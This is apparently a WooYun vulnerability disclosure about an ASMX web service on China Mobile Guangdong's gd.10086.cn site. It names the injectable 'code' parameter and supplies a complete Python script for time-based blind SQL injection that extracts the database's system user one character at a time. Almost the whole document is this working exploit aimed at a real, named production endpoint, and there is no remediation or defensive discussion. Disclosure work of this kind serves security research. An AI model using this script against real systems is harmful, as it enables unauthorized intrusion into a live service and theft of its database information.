WooYun.org

http://gd.10086.cn/simis/ADCCSSPortal/Common/AjaxRegist.asmx/CheckPermitLicense
post data : code=1

#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {
    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
    'Content-Type': 'application/x-www-form-urlencoded'
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
    payloads.append(str(i))
payloads += ['@','_', '.', '-', '\\', ' ']
print 'Try to retrive user:'
user = ''
for i in range(1,15):
    for payload in payloads:
        try:
            conn = httplib.HTTPConnection('gd.10086.cn', timeout=5)
            params = {'code':"1';if(ascii(substring(system_user,%s,1))=%s) waitfor delay '0:0:5' --" % (i, ord(payload))}
            conn.request(method='POST', url= '/simis/ADCCSSPortal/Common/AjaxRegist.asmx/CheckPermitLicense' , body = urllib.urlencode(params),headers = headers)
            html_doc = conn.getresponse().read()
            conn.close()
            print '+',
        except Exception, e:
            user += payload
            print '\n[*]', user
            break        
print '\n[Done] User is:', user